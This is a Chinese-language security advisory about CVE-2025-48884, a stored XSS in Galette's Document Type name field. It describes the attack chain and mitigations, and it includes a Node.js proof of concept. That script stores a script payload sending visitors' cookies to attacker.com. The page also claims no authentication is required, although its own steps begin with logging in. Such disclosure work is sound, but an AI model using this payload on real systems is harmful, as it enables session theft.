IPBUF安全漏洞报告
English
CVE-2025-48884 CVSS 6.1 中危

CVE-2025-48884: Galette Document Type存储型XSS漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-48884
漏洞类型
XSS (跨站脚本)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Galette

相关标签

CVE-2025-48884XSS跨站脚本存储型XSSGalette会员管理系统Web应用漏洞PHP

漏洞概述

Galette是一款面向非营利组织的会员管理Web应用程序,广泛用于管理成员信息、活动记录和文档资料。该应用基于PHP开发,提供了直观的Web界面,支持多语言和自定义字段功能。在1.1.5.2及更低版本中,Galette的文档类型(Document Type)功能存在存储型跨站脚本漏洞。攻击者可以通过在文档类型名称中注入恶意JavaScript代码,当其他用户查看或管理文档时,恶意脚本将在其浏览器上下文中执行。该漏洞的CVSS评分为6.1,属于中等严重程度,主要因为其需要用户交互才能触发,且对机密性和完整性的影响较低。攻击向量为网络范围,认证要求为无需认证,但需要诱导用户访问恶意页面。此漏洞由GitHub安全团队发现并报告,官方已在1.2.0版本中修复了此安全问题。

技术细节

该漏洞为存储型XSS(Stored XSS)漏洞,存在于Galette的Document Type管理功能中。攻击者首先需要访问文档类型创建或编辑界面,在文档类型名称字段中注入恶意JavaScript代码。由于应用程序未对用户输入进行充分的HTML实体编码或输入验证,恶意代码会被直接存储到数据库中。当其他用户通过Web界面浏览文档类型列表或选择文档类型时,存储的恶意脚本会被浏览器解析执行。攻击者可利用此漏洞窃取用户会话Cookie、进行钓鱼攻击或执行其他客户端操作。漏洞利用的关键在于:(1)输入点:Document Type的名称/标题字段;(2)触发点:文档类型列表页面或相关下拉菜单;(3)利用条件:诱导目标用户访问包含恶意脚本的页面。修复方案采用输出编码,对所有用户输入在显示前进行HTML实体转义处理。

攻击链分析

STEP 1
步骤1
攻击者访问Galette应用并登录到系统
STEP 2
步骤2
导航到文档类型(Document Type)管理页面
STEP 3
步骤3
创建新的文档类型,在名称字段中注入恶意JavaScript代码,如<img src=x onerror=alert(document.cookie)>
STEP 4
步骤4
应用程序将恶意脚本未经过滤直接存储到数据库
STEP 5
步骤5
当其他用户或管理员访问文档类型列表页面时,恶意脚本被浏览器解析执行
STEP 6
步骤6
攻击者通过XSS成功窃取用户会话Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-48884 PoC - Galette Document Type XSS // Target: Galette <= 1.1.5.2 // Attack Type: Stored XSS in Document Type const fetch = require('node-fetch'); const TARGET = 'http://target-galette-server'; const USERNAME = '[email protected]'; const PASSWORD = 'password123'; async function login() { const response = await fetch(`${TARGET}/login`, { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `login=${USERNAME}&password=${PASSWORD}`, redirect: 'follow' }); return response.headers.get('set-cookie'); } async function exploitStoredXSS(cookies) { // Malicious XSS payload in Document Type name field const xssPayload = '<script>document.location="https://attacker.com/steal?c=' + '"+document.cookie</script>'; // Create malicious document type await fetch(`${TARGET}/document_types/store`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookies }, body: `type_name=${encodeURIComponent(xssPayload)}&csrf_token=xxx` }); console.log('[+] Malicious Document Type created'); console.log('[+] When admin views document types, XSS will execute'); } async function main() { const cookies = await login(); await exploitStoredXSS(cookies); } main();

影响范围

Galette <= 1.1.5.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:(1)限制普通用户创建文档类型的权限,仅允许管理员操作;(2)在Web应用防火墙(WAF)层面添加XSS过滤规则;(3)对文档类型相关页面实施严格的输出编码;(4)提醒用户不要点击来源不明的链接,定期更换密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表